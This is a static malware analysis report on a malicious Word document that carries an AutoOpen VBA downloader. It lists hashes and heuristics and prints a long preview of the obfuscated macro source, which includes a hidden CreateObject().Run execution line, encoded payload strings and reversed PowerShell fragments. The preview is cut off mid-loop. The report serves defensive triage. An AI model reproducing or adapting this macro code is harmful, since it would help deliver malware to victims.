Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 508ceeb4a333642e…

MALICIOUS

Office (OLE)

231.0 KB Created: 2018-03-21 10:40:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 009b047cd15c365e01c686ff86f5f4df SHA-1: 4359c59686b9d9553d3751d90c40d98c62563adc SHA-256: 508ceeb4a333642eeefb273327bf95dbde45ead5256271f41f5baa2e60adfd53
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The heuristics indicate the use of CreateObject and p-code execution, suggesting the macro is designed to download and execute a secondary payload. The ClamAV detection name 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Next
CreateObject(ntrBnSIOmDkHwj).Run FHTwVII + Chr(VBA.vbKeyC) + INZBpVjUpIkd + VCrjnWw + cIjpAVruN, vbHide
For kXFnMt = VsJou To GfkIK
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "nNdCSdoazYiU"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56725 bytes
SHA-256: 345f9a3c0e7902ec38ed37dde7b66d053eef53152ad3d1e7c0cb4bea0fe70ffb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1034 of 1646 identifiers look randomly generated (e.g. 'wbEGAlBgMAQGA4AgYAkDAiBwMAgDAmBgZAkDA2Ag') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "PlauTQwLCzaKj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MPEYbFm"
Function HFOkvWzSTczMWF()
On Error Resume Next
For CBsrv = rRTvd To kcjhj
 qiQJq = EbhmmF * Int(MwXKk / CDate(rjHjb) / 98957 - Atn(95345)) + (58057 + Sin(tnzWK) * HnrsKR - Int(74316) + 38574 / EiNaQU / RvOom + woKswn)
Next
YQSFnzDH = YQLfp("ldFQGA0AAOAEDAkBAOAUDAzAANAgDAkBQMAcDA5AwNAkDAiBQZAUGAwAQMAkDAwAANAYDAyAwYAkDAyAQOAcDA2AQZAIDAxAAMAIDAhBQYAIDA3AgZAgDAhBwMAYDAmBgMAYDA4AwNAkDAjBJvQuO", 6 + 0, 141 + 0)
For toQvfE = fSaBE To UizmW
 wjVCI = CZoDi * Int(VzmtP / CDate(RvLJh) / 98459 - Atn(40416)) + (24381 + Sin(aOTqYW) * qAYmIZ - Int(55480) + 61298 / bkHjF / aPjUb + nzWhv)
Next
For MhSdbm = CHtkz To ZzmIUK
 rDlOlX = KQDTTc * Int(OpwciO / CDate(DdZmvY) / 84659 - Atn(26100)) + (96067 + Sin(TqwpJw) * rDwCl - Int(7408) + 50092 / VFLHp / pwwoZL + qwwwSV)
Next
wjzcAf = YQLfp("iRQGAkBQOAQGAiBAMAIGA0AwMAUDAzAgMAMDAyAANAUDAyAQMAYDAwAgMAMGA3AQYAYDA2AgNAcDAjBwNAYDAlBQOAEDA2AgYAIGAwAANAUGAkBQNAIDAiBwNAgDAmBQNAIDA0AAOAQGAjPP16", 5 + 0, 140 + 0)
For cfkEt = lbSpRZ To VZTjFI
 itwBk = dBFzFT * Int(ZppUHO / CDate(vOiIWz) / 23624 - Atn(11740)) + (31582 + Sin(SqKTWi) * iTJOjV - Int(39457) + 68815 / rZjkzZ / LGPPpi + XXlafO)
Next
For RiObw = AutBC To iaYnN
 hUmhak = WzVzB * Int(fDpkOY / CDate(jzSwUu) / 36070 - Atn(97241)) + (10562 + Sin(rMqmZ) * ijIdPb - Int(17398) + 59476 / raWBpq / PZwjC + NjRNQs)
Next
TsYQq = YQLfp("iP.i4 ( & |) ) ) )771,381,99,261,2,371,032,621,07,921,82,45,11,8,221,9,691,87,731,691,621,632,21,98,501,351,69,97,022,451,761,632  ek- Gnh8gHgjvdDDvnk6", 4 + 0, 132 + 0)
For kLpGMG = GuYHo To wcUwwQ
 jzQpp = rVbLBK * Int(AMfkP / CDate(iqEUBo) / 90420 - Atn(28671)) + (84281 + Sin(LVQAiz) * vzRXOi - Int(58721) + 67098 / wYmmz / hHhXcc + AuZAk)
Next
For adESEv = TvqAz To wapJu
 CzILJ = Jtrzq * Int(nFCWK / CDate(JnjPtJ) / 93810 - Atn(49500)) + (38235 + Sin(VkDkLc) * sRSuwv - Int(4308) + 51387 / EnNuR / QszGXn + wOjCY)
Next
UMRsZqIsT = YQLfp("irIQMAMGAyAwNAcDA3AwMAEGAkBgYAADAiBQNAMGAyAQNAIDA3AAOAQDA5AQYAUDAxAgMAUDA4AgNAcDAhBQOAkDAkBAMAEGA0AQYAIDAkBgNAADA3AANAcDAlBwMAIDAiBwYAgDA5AwYAYDAkBQNAMGA0AQNAMGAxAwMAUDAiBwYAIGAkBgNc,.T4h", 7 + 0, 178 + 0)
For GuFqK = KErDN To hoXFJM
 TvULl = ECmTD * Int(tXiTc / CDate(wCiGVY) / 78946 - Atn(74010)) + (28158 + Sin(whtFXc) * cmjUl - Int(10241) + 25217 / lnsTU / UvGMK + NZwWwq)
Next
For YvsPs = rjKsAD To Ninpz
 jBZjd = ZBuWU * Int(GWQRPj / CDate(Eniib) / 25369 - Atn(49853)) + (60570 + Sin(lNsST) * ZNwMOu - Int(36353) + 71856 / NqIuhu / OGYtdA + zWDpI)
Next
zwpwj = YQLfp("wbEGAlBgMAQGA4AgYAkDAiBwMAgDAmBgZAkDA2AgYAYGA0AQYAMGAmBgZAIDA4AQMAcDAzAQOAEDAwAQOAIGAxAwNAADAhBQZAkDAiBAZAIGAyAA8zXuE", 6 + 0, 110 + 0)
For jdBQQ = DSDSWl To lVlEf
 VpwltZ = YuApK * Int(JVQjp / CDate(dkrdLo) / 5081 - Atn(15578)) + (52511 + Sin(zMSYq) * ahrHqD - Int(46747) + 17645 / NHQbj / mwLBN + MnzrRl)
Next
For IHQBwv = NNFfLo To zaEXFQ
 GwzzjU = ZSjCV * Int(iHVXV / CDate(KzSiR) / 12161 - Atn(78283)) + (60649 + Sin(wdlHTj) * ISEPb - Int(43399) + 76559 / Zcpitr / hClGr + QjqsoH)
Next
QAkzlRYqmtA = YQLfp("6vA0AQMAgDAxAQNAADAmBAZAQGAxAgMAcDAjBwNAMDAhBAZAcDAiBgNAADAmBwMAQDAxAgYAYGAwAQOAADA2AANAUGA4AgMAEGA2AANAcDAhBAOAYDAmBANAMDAlBwNAEDA4AAMAcDA2AQZAMDAxAgYAEGAyAgYAkDAhBwNAcDAwAQMAQGA1AQNAIDAiBANQIIu", 5 + 0, 189 + 0)
For pvvCZj = CSFsnL To JpQJm
 rviWN = NsmNXm * Int(KEijn / CDate(MsCOz) / 85243 - Atn(35339)) + (61535 + Sin(HraiC) * luMZp - Int(64258) + 36249 / PFhFY / SfIdE + Mpjkd)
Next
For pOiQz = OtqHDu To VMHahO
 BLZocd = Jkfza * Int(jKuia / CDate(JLiGh) / 15817 - Atn(17834)) + (28284 + Sin(ELQqC) * AdptoT - Int(83318) + 8538 / KJddH / ScATE + SFrjT)
Next
GJhfj = YQLfp("EnbVt7AkDA0AQOAMGAhBwNAMDA3AQMAUDA5i", 2 + 0, 29 + 0)
For EFYOH = QfjFk To tRHYvY
 fGrmjP = zbhYz * Int(VFnzl / CDate(CFMciM) / 83846 - Atn(29088)) + (49581 + Sin(RuJTBn) * MTpwk - Int(50318) + 80540 / HHXQoi / nzWZT + MZrAwK)
Next
For TibJQt = jPHsh To cKZaw
 Nfinwa = XdqtD * Int(iGhLtN / CDate(SwUQzp) / 4821 - Atn(82128)) + (83572 + Sin(MXCBC) * oqijw - Int(41077) + 50880 / WEQDRu / fMLJPL + qGYdj)
Next
CAVGFj = YQLfp("85P%IOAIDAzAAZAgDAkBQYAYGAwAwYAIGA5AANAADA0AAOAQGAxAAOAEGA1AwYAMDA3AgMAMDA5AQYAMGAwAQZAEDA3AgNAEDAhBQNAcDAzAAOAcDA4AgMAQDAwAAOAMGAi@", 2 + 0, 126 + 0)
For dVAab = sVOioz To iusYw
 wRhKr = nzbAXL * Int(oMLAE / CDate(cWBdQi) / 44275 - Atn(23655)) + (83660 + Sin(SziZDj) * wKIiov - Int(32849) + 39969 / TUIKSt / iWDuoQ + UfwSID)
Next
For TYibo = VacaY To Lzpml
 zkTmf = pSjTad * Int(PiQQql / CDate(vlmfTW) / 8909 - Atn(38339)) + (25598 + Sin(INAtXi) * jtzmV - Int(79396) + 3594 / zkIsuh / BEXLwo + IcVFw)
Next
qNdJwbchjW = YQLfp("KrwTMqQGA5AQMAUDAmBgMAYGAjBQOAYGA4AgZAcDAyAwYAMGAjBQNAYDA2AAMAUGAiBgYAEGA2AAZAIDA4AgZAYDAwAQNAEGAkBgZAUDAkBAMAEGAyAANAADA1AgMAQGAxAgMAEGAwAgMAIDAzAQYAUDAyAgYAIDAxAQZAUDA4AAZAV", 2 + 0, 167 + 0)
For Ncwsz = jznta To kjUmwb
 BKMvW = jRNkU * Int(PsqmW / CDate(QsjzBN) / 21563 - Atn(94230)) + (28614 + Sin(IwWjt) * uBAhaf - Int(37309) + 87228 / NTbKD / tzzfji + IwkZz)
Next
For RGskF = MOWzv To wEqtI
 pJwGYQ = tmmHhp * Int(ijjnV / CDate(hNMsa) / 73901 - Atn(93290)) + (94223 + Sin(TQbfX) * uGKicI - Int(24330) + 27480 / HpHafP / CXBKb + GflTin)
Next
EMpwzvwW = YQLfp("0Q@1)''NIoJ-'x'+]3,1[)(gnirT8gHgjvdDDvnkOt.EcneReFERpeSvf1", 4 + 0, 40 + 0)
For VfBRi = aVFtwU To mkliVR
 uNEdNO = AfwIiY * Int(Ebnpwr / CDate(DzdDpc) / 20993 - Atn(41064)) + (87942 + Sin(zNwXI) * YEPqZp - Int(17124) + 72203 / vDiIz / ZZArQa + Xmmfl)
Next
For YrqENO = QOBQRI To PtbNz
 asojIR = qZNTH * Int(JEWTO / CDate(HHNOpm) / 67505 - Atn(15879)) + (98179 + Sin(EuwWbG) * CGvvOo - Int(81231) + 654 / JwzztZ / kqhNi + wYJBCV)
Next
rkzaVGwJ = YQLfp("wGQMAUDAyAgNAEGAlBAOAQDAyAgYAMGA1AgZAYGAlBgZAEDA1AAZAMDAhBQOAMGAmBAOAUGAlBQNAgDAkBgZAkDA5AQNAUGAzAwYAMDwMi1z", 6 + 0, 101 + 0)
For XkqDZ = NSjtT To NHdkJ
 uihLju = BDJWmM * Int(UjKZIv / CDate(ZMtEz) / 27532 - Atn(81491)) + (32327 + Sin(ToABIq) * LDwKYP - Int(6313) + 92146 / jhBhwE / NZUSnH + fCkLqi)
Next
For QzzjvK = dPHHB To tnolr
 lPSpB = VzKEMF * Int(WXzCQu / CDate(ojMqpo) / 99522 - Atn(58171)) + (71687 + Sin(QKsvKM) * IzwaNt - Int(47707) + 6057 / Nitvk / qRSFD + zNhrMj)
Next
niJpiO = YQLfp("jJIAAMAQDA2AgNAcDAiBwNAUDA3AQNAEDAkBQNAcDAzAANAcDAyAQMAMGAxAQNAEDA1AwMAEDA0AgMAcDAhBAOAgDAmBwYAMDA2AgMAMGAlBANAYDAmBANAMDAhBAZAkDAxAAOAYGA5AAMAEDAyAgZAcDAhBAZAMGA3AAMAUDAxAAZAkDAzAAOAIDAlBAMAcDAbrZ5", 5 + 0, 191 + 0)
For BNzMLw = Swzbmn To naUkpp
 UbcFJW = kQjBJ * Int(BoQSiw / CDate(FuRrSP) / 78930 - Atn(24223)) + (74885 + Sin(GWtvh) * UHBbli - Int(60881) + 31262 / dClwK / Cszma + lmthw)
Next
For NUjFz = vVPWdQ To PjNst
 DVDzwz = bZtwXi * Int(OGYswV / CDate(SFvUuK) / 16666 - Atn(44648)) + (6396 + Sin(ijVjz) * ViIUR - Int(42613) + 53959 / zzYsI / UwYsl + HiEmW)
Next
CKzDbBzumXK = YQLfp("T7MTuFGZOAYGAjBwMAMGAzAgMAIDA0AQYAQDAiBQZAkDAyAAMAMGAmBgMAIGAxAQMAEGAjBgMAMGAzAgMAUDAwAQZAMGA4AgMAADAmBgNAEDAzAQZAYDA1AgYAcDAjBQMAUDA5AQOAEDA3AgYAcDAjBgNAUDA4AgZAQGA0AwMAMGAkBQYAAr", 2 + 0, 171 + 0)
For VrRqI = RwCKn To VvccU
 lQOsjh = dzhDq * Int(VwNAkB / CDate(qQbMI) / 18832 - Atn(17384)) + (46422 + Sin(pnfJI) * FqdKk - Int(65478) + 59620 / jtLjS / HvsaL + VpBjX)
Next
For tNiVb = NLPSFG To ikippA
 uHjCvh = HGMvk * Int(cnALs / CDate(ZWFZK) / 55475 - Atn(44366)) + (85382 + Sin(tDNMzW) * mhbZu - Int(80738) + 11319 / DWVkQ / jXwRbZ + iWZYod)
Next
YIkjWtGh = YQLfp("l4DAkBQYAIDAhBgMAIGAyAQMAEDAiBAOAEGA5AwNAQGA5AgZAUDAyAwNAYGAwAwYAADAmBAZAkDA0AwNAgDAjBQZAEDAyAAOAMDAjBQMAUDA2AgZAEDA0AgMAkDA3AQNAQGAwAwNAMDA5AwYAIDAiBwNAIGAwAQNAMDAiBwNAIzTiJ", 6 + 0, 167 + 0)
For Czjmw = BSjSd To QAWnHm
 kJjQuV = jELCBF * Int(rBEmi / CDate(JpRnio) / 84857 - Atn(17371)) + (78027 + Sin(iSmMt) * WipRB - Int(50054) + 95027 / hRXXY / SAZASu + smFdos)
Next
For MviqX = iIfFjG To jlLRW
 irjQDf = DtEjB * Int(FGlXv / CDate(BTzPW) / 63118 - Atn(91108)) + (2412 + Sin(FinEao) * ffibL - Int(20032) + 82693 / DzESAR / NQGUWi + KjHdaz)
Next
kHqMsstCPR = YQLfp("hFiEvPUDAmBQYAcDAkBAMAMGAkBQMAYDAxAANAUDAhBQNAMGAiBQZAkDA1AANAQDAwAQZAQDA5AQMAQGA4AAMAADAzAQMAEGA2AwYAMDA0AgNAYDAzAAOAUDAkBQZAQDAlBwNAMGAlBQYAv", 2 + 0, 136 + 0)
For Rbadw = GsUzrc To LXccA
 KQXzG = cDVvT * Int(ktWmXd / CDate(CpoUwH) / 56020 - Atn(87785)) + (32091 + Sin(mHidE) * ztdULW - Int(46361) + 70519 / ARHjrZ / wnzfWw + qcYLni)
Next
For NLwbml = YYnFdO To WpuGzZ
 wjQMw = NhimP * Int(PLtpv / CDate(UjSztw) / 67636 - Atn(40554)) + (76835 + Sin(qMEhs) * RfiPq - Int(25567) + 43882 / tAqQwd / zwSitA + mTdbkr)
Next
SMlEhl = YQLfp("4J%wAQDA0AAMAkDAxAAMAIGAxAQYAUGA2AwYAQGA3Agiwv", 4 + 0, 39 + 0)
For RiiVAu = HjzHJ To DsGSWK
 rOlCzO = tOmPc * Int(zbSIuz / CDate(PsSVXk) / 48008 - Atn(91294)) + (87830 + Sin(KEZzA) * zfWmc - Int(40246) + 85979 / iidbca / XYciwv + fPpWz)
Next
For OtnSc = DkELwE To pFctX
 inRrhw = LqQNY * Int(XnSsCM / CDate(fufjST) / 19949 - Atn(94412)) + (67967 + Sin(iVscr) * wCFTGX - Int(24109) + 38658 / nzhPXN / huCjI + ZNoYco)
Next
TjOjHblEuHh = YQLfp("rbMGA0AwMAIGAiBQOAcDA0Ac6lF1Oc", 8 + 0, 21 + 0)
For rfVfMV = wtVHiL To fTdhMo
 ozaHS = csiiv * Int(hzHiB / CDate(BXdoZ) / 91029 - Atn(1786)) + (95247 + Sin(utLqQz) * DivXtG - Int(25240) + 8231 / nLJds / pbiKR + AYiGVY)
Next
For lrraGb = VBXHR To MPGtn
 joljC = iwuqJM * Int(owzoiQ / CDate(RqwLNE) / 27278 - Atn(13587)) + (34533 + Sin(zNBwoJ) * HoAXi - Int(57522) + 58674 / LhdQOb / cCmtr + WwMbiS)
Next
nOKrMCS = YQLfp("O7ETWuuIrt8gHgjvdDDvnkerUCE8gHgjvdDDvnk-ottRevnOc |'==AAxAwMAADAxAAOAIDA3AAOAIGAyAwYAQDAwAwMAUDAiBQNAMGAyAAMAkDA4AwNAcDA2AgYAYDAiBgMAIGA5AQMAcDAhBwNAEDAhBgYAEGAwAQNAYGA3AQZAYDAlBwNAcDR", 2 + 0, 154 + 0)
For vKdzmz = tQMmMS To CWkrD
 akwJv = alqnw * Int(LlvAE / CDate(dRudMq) / 1491 - Atn(62439)) + (47678 + Sin(Tbckb) * SLMTD - Int(38828) + 45032 / DdQmBj / CSGNm + wYIIP)
Next
For SwHzwV = EZRch To OidQpf
 uVCik = MtOXs * Int(fzWmXz / CDate(NIhJZ) / 87555 - Atn(8334)) + (78779 + Sin(WsNEX) * vztYP - Int(46045) + 18320 / qBYfC / rrGTnR + NLdpfj)
Next
inwzIj = YQLfp("Dr9467'($(rTSBoTgnIRTSerUCE8gHgjvdDDvnk::]LAH8gHgjvdDDvnkrAM.SecIvrE8gHgjvdDDvnkPOreTNi.EMITNur[ (otUAGniRT8gHgjvdDDvnkotrtP::]laH8gHgjvdDDvnkrAM.8gHgjvdDDvnkeCIVRESporEtnI.emItnUr[ ( Dw0T.", 6 + 0, 116 + 0)
For WWKoa = EZswi To ElrIAO
 MQflt = GSilQ * Int(joFBTq / CDate(EpYRwI) / 71138 - Atn(19190)) + (24993 + Sin(WDcai) * nqkQX - Int(39386) + 88214 / ncOwp / jXRPJM + whdIGt)
Next
For mswjFK = KqBwUz To lfwOw
 OOFrE = NYGRJ * Int(wiwdpw / CDate(CBPAm) / 66454 - Atn(15688)) + (9247 + Sin(hQMsw) * SYnFb - Int(67192) + 94674 / DZrGY / aHpzt + IwOTIw)
Next
LsJBkKbTR = YQLfp("Fwmi16.1QZAMDAkBgZAcDAkBQOAUDAyAwNAUGAzAQOAEGAlBQMAIDAhBQMAQGAzAQYAIGA1AQNAIDAlBAZAQGAlBAOAcDAkBQMAUGA0AwYAIGAwAwMAYDAxAAMAYDA1AwNAEGAjBAOAcDAmBwYAQDA4AgNAQGAzAwN1", 2 + 0, 154 + 0)
For KrpFR = hLYqkW To FfMbub
 lcabOz = GUKTw * Int(RnfNUa / CDate(qHCQE) / 51915 - Atn(13363)) + (78365 + Sin(mmZjMf) * QOqRua - Int(84020) + 28068 / orVSA / GTRsia + XnsNd)
Next
For wRrKC = rnDvN To lVrkwT
 wOAoXa = OfrBbS * Int(JqwPu / CDate(jJHms) / 75680 - Atn(13748)) + (97824 + Sin(OXcQsW) * vcUjCv - Int(22590) + 92112 / Uvhbi / UEPKnH + wkTAm)
Next
DwfHNCL = YQLfp("EJrjAkDA0AQMAEGA0AwYAgDA4AgZAQDAhBwYAcDA2AwYAMDA4AwYAQGA4AQYAEGA1AAMAgDA2AwNAMGA2AQNAMGAhBAOAEDAjBAwru", 4 + 0, 95 + 0)
For TZLan = uWuKB To zLkXsZ
 zVDXB = jkhfkP * Int(IvccJ / CDate(uJkWZ) / 88394 - Atn(26690)) + (46977 + Sin(vdYrud) * uQBJsD - Int(65593) + 25743 / KvwcCj / OXiNN + ddnJto)
Next
For uZcdji = twUDQ To ltUQNz
 imAGEd = QFiaV * Int(uCzdfK / CDate(zIdZdR) / 75085 - Atn(23948)) + (7406 + Sin(ZanpK) * YVZFJ - Int(15175) + 77374 / uhcji / qkCXwV + admqH)
Next
IElwoJ = YQLfp("il@huAADAzAAOAUGAxAQNAcDAiBwYAUDAhBQYAMGAxAgYAEGAwAQOAIGAjBQYAgDAwAQMAMDA4AwMAEDAxAQYAYDA5AANAYDA2AgYAcDAzAAOAUDAxAQNAEDA0AgNAgDA5AwYAMGA0AAZAQDAzAwYAEGA5AQYAAnSV", 5 + 0, 153 + 0)
For AIzhw = ubIGFQ To UNfvoG
 JOpXQq = zzrmOC * Int(nHuziw / CDate(SiizHG) / 3080 - Atn(90932)) + (91265 + Sin(wjdDmT) * RHwudQ - Int(37358) + 81754 / zjFlv / KqrjK + JkmEB)
Next
For DoZqY = OpKrJ To swrckj
 FEallE = nUvpFT * Int(MWcpA / CDate(ArvVDW) / 59345 - Atn(63426)) + (6880 + Sin(ZcaCpz) * DnlkNt - Int(88523) + 39934 / pMjZPm / jiOIEh + ZHjVV)
Next
WUJJCikJ = YQLfp("vh0aHHDA4AwNAIGA4AgMAkDAwAwNAYDAwAQZAQGAxAgNAcDAxAQMAYGAwAgNAIDAzAQOAMDAhBwNAYDAmBR", 2 + 0, 76 + 0)
For iRhNt = BPPmz To AQjSA
 jnsqXb = YVYLdd * Int(YHHYi / CDate(jplUU) / 83563 - Atn(31512)) + (14455 + Sin(QiHGF) * iUntFX - Int(39583) + 6682 / DmIZds / Inhzt + YWjLi)
Next
For wFmWl = pcPakr To WOQUv
 NkMkfa = XnVzR * Int(CdUfM / CDate(HVCaCE) / 42270 - Atn(38595)) + (72349 + Sin(EBiHN) * ijUGvR - Int(31084) + 2605 / PIXpY / iEanI + JJjJG)
Next
WNZOLVPlS = YQLfp("ulmBQZAcDAhBgNAYDA5AAMAIDAzAgZAMDAlBQMAcDA1AQMAYDAhBQZAcDAiBQYAkDAzAQOAYDA3AQYAYGA2AgYAADA0AAMAEDA0AQNAMGA2AgMAMGA0AwNAUDA4AwNPO1i", 5 + 0, 124 + 0)
For XjTVKz = ukKFw To FATmww
 MwVzDU = hYZnz * Int(jsSnuz / CDate(fdQXz) / 53951 - Atn(95204)) + (5152 + Sin(qXkLb) * YNWRq - Int(89364) + 55088 / KWIIG / ifswZ + ihzzbW)
Next
For TZwzzv = uqdLP To QhofL
 lBXGQ = pVbEJ * Int(HdPni / CDate(PzcHXI) / 17976 - Atn(32498)) + (25195 + Sin(cGwGl) * MfvTi - Int(64453) + 15196 / pqjdDl / dwHQN + iiOzzC)
Next
CBRSC = YQLfp("wahP3OAcDAjBgZAADA2AAZAMGA2AQNAIGAhBwMAYDAxAAMAYGAmBwMAcDAiBAZAgDAyAgNAYDAwAAZAUGAwAQNAIGAkBANAYDAjBQZAIGA3AAZAA", 2 + 0, 106 + 0)
For tUFDP = RjrPw To pBRhcj
 bTwIr = XQiBhV * Int(iohUkd / CDate(AUTlj) / 17575 - Atn(67817)) + (46110 + Sin(MzmQmb) * uMOOrm - Int(67346) + 66413 / tPCAU / wzSLHA + YhGzi)
Next
For aDBdw = tEsiPu To bIiwP
 ZUldT = zJciNs * Int(bhdDF / CDate(lFNQzY) / 27310 - Atn(23376)) + (36614 + Sin(BSiRpL) * oahmA - Int(51826) + 32613 / iqwTX / FcDiRM + oEFii)
Next
RnVzMGdKMb = YQLfp("if73AQYAIDAhBgNAMGA4AwNAQDAmBgZAgDA4AAZAMGAmBgMAIGAkBwYAEDAyAAOAIDA0AQZAYDAwAwYAQDAjBQNAcDA5AAMAUDAxAAMAEGA0AAOAYDA4AQNAEGAzAQOAIGAjBgZAEDAhi86HN", 6 + 0, 137 + 0)
For aPjbcQ = odXGki To uSiPsv
 wqamXz = AVcIW * Int(pGvPWD / CDate(JcFzun) / 30230 - Atn(17320)) + (42045 + Sin(pljwi) * IoEQa - Int(76226) + 13855 / zOhGoW / tpzWT + dskjsi)
Next
For QKSrG = LNBjoH To dLPwZ
 uQaOi = pmlYEJ * Int(MMPmZ / CDate(vuoiGu) / 19025 - Atn(95555)) + (59011 + Sin(CnadGT) * pvosQp - Int(50501) + 80267 / aduwOY / OiUGmU + UBKCj)
Next
jiEmtTzRmiP = YQLfp("4q.4lR1AgZAMGA1AgMAEDAiBgZAgDAjBgYAEGAkBwYAMDA1AwMAMDA3AQMAMGAZQ", 3 + 0, 55 + 0)
For ifDtRZ = kriEOo To UjDiV
 zMzmMI = bUrGm * Int(FSuZBf / CDate(iFWzPr) / 96343 - Atn(20088)) + (99678 + Sin(wcjFnR) * QjIEOQ - Int(1440) + 47467 / XjrZG / Dhurq + XVKKc)
Next
For izdQjP = BlsGFS To CCklL
 ELuPah = IHrzH * Int(oSzNlO / CDate(KFoiTi) / 95056 - Atn(96610)) + (42923 + Sin(zTCnjW) * NqCql - Int(88384) + 87781 / wLdsEp / XdhzXQ + wjZlVt)
Next
VwwdVMA = YQLfp("61AQMAMGA2AQZAQGAmBAZAUDA5AgMAYGA5AANAQGAzAAOAADAwAQMAIGA4AANAYDA5AQOAQGAmBgZAQGAiBQOAQGAmBQMAMDA4AQYAcDAmBgYAADAiBQOAYDA3AcAMbmr", 7 + 0, 121 + 0)
For FHIvuA = MqZLvj To TTFSz
 wYFhzn = uSQzY * Int(QtDVzJ / CDate(ELnIob) / 62919 - Atn(52734)) + (55698 + Sin(UTXvi) * CawGiA - Int(87293) + 49395 / mvTaP / IIJtll + sXGpRC)
Next
For iXsqh = DjHsa To qCvTpi
 qVsnY = CSBEU * Int(NcoFuC / CDate(uvInT) / 83352 - Atn(27006)) + (37749 + Sin(YsfZaE) * rlkTR - Int(60533) + 78312 / bmNNV / wARTj + hhZwK)
Next
tPYaqVp = YQLfp("B5OBQNJFR", 4 + 0, 3 + 0)
For DtJZu = IHwUK To FPHHMj
 AwvcrN = qzmKL * Int(JKbvrB / CDate(IENFcp) / 67335 - Atn(27411)) + (39820 + Sin(aUtSKH) * RSLoO - Int(21228) + 40252 / IWZunL / LoUwk + zBisVw)
Next
For RjcMGV = VWLfwn To LYECHQ
 dpLTVj = bZVHz * Int(QlvcEf / CDate(sAZAEY) / 52473 - Atn(95369)) + (69038 + Sin(icFDou) * skpbt - Int(94756) + 80290 / wnRac / zcYicP + OwEOs)
Next
XwONv = YQLfp("V.AEGAwAAMAgDA1AQOAIDAiBAOAMDAxAgMAYGAlBgZAYGAmBwMAgDAiBwYAkDA3AAZAQGAyAQYAkDAkBAMAEGA5AgMAQDA3AQMAIGAjBwMAMDAwAQYAEIvudi", 6 + 0, 114 + 0)
For qftvcr = jTpQzD To cIkKXH
 hAhUL = GdnkNB * Int(wsCso / CDate(wsdmIj) / 48714 - Atn(61591)) + (65522 + Sin(MurkI) * iMaRM - Int(46060) + 10507 / EDwjkk / sVoIb + NYllw)
Next
For zamsb = urBkTn To KZMvwN
 rNZMwF = HjLNv * Int(cEzjPo / CDate(unhMip) / 17102 - Atn(96149)) + (3038 + Sin(wUKIbl) * auWam - Int(15983) + 80276 / XpGGZ / fJiAEf + dJwLF)
Next
fXQoot = YQLfp("dQvbYAUDA3AANAQGAmBQZAYDA5AwNAIGAmBgNAQDAjBAZAMGAzAwMAQGAyAAMAIDA2q", 3 + 0, 61 + 0)
For NslqBS = JVSIHf To pLACrc
 SKfIW = owlZP * Int(RcimwE / CDate(aTKrWs) / 47990 - Atn(77246)) + (43719 + Sin(JuTda) * iFiiMJ - Int(24694) + 69022 / taNPLY / zDBwH + JPzRR)
Next
For CWXnrn = vOUuB To zndSwK
 iGnfvL = NhCCw * Int(LizLr / CDate(ZplWcw) / 60447 - Atn(77228)) + (49891 + Sin(JLwiGN) * jssjUr - Int(27734) + 24254 / vBZPp / bMkwz + KhPXsh)
Next
Fsiksqwm = YQLfp("z, AANAgDA3AgZAkDA3AQZAMGA4AwYAQDA3AgNAYDAiBwMAMDAyAABz7DkC", 7 + 0, 50 + 0)
For qDUuw = OTzDFz To JKCiO
 qrkmt = PMZKc * Int(bKqWO / CDate(Gbdbwc) / 17817 - Atn(60373)) + (98827 + Sin(ZzflIi) * hFRaki - Int(49657) + 78240 / Wtdnj / waXmjP + IdOKom)
Next
For sWPDi = dYwlt To AcwmsC
 PscCC = lGtMFr * Int(stFXkS / CDate(RATtja) / 65457 - Atn(77659)) + (35966 + Sin(dfJYG) * PUNNsF - Int(68838) + 22752 / tQiGWb / ZFkOY + SbIzns)
Next
ajTPbMTRqjL = YQLfp("q.8AAZAEGA3AgNAEDAjBAOAEGAiBgYAMDAzAgZAADA1AgYAMDAjBAMAIDAiBAZAUDA4AQNAQGA2AgNAQGA5AwYAUGAlBwYAADA0AAMAgDAmBAOAcDAiBQZAADA0AwYAUGA2AAZAQGA5AANAIDAhBQOAYDA1AAOAIDAiTA", 3 + 0, 159 + 0)
For ZiElTq = WFELQ To AqJzh
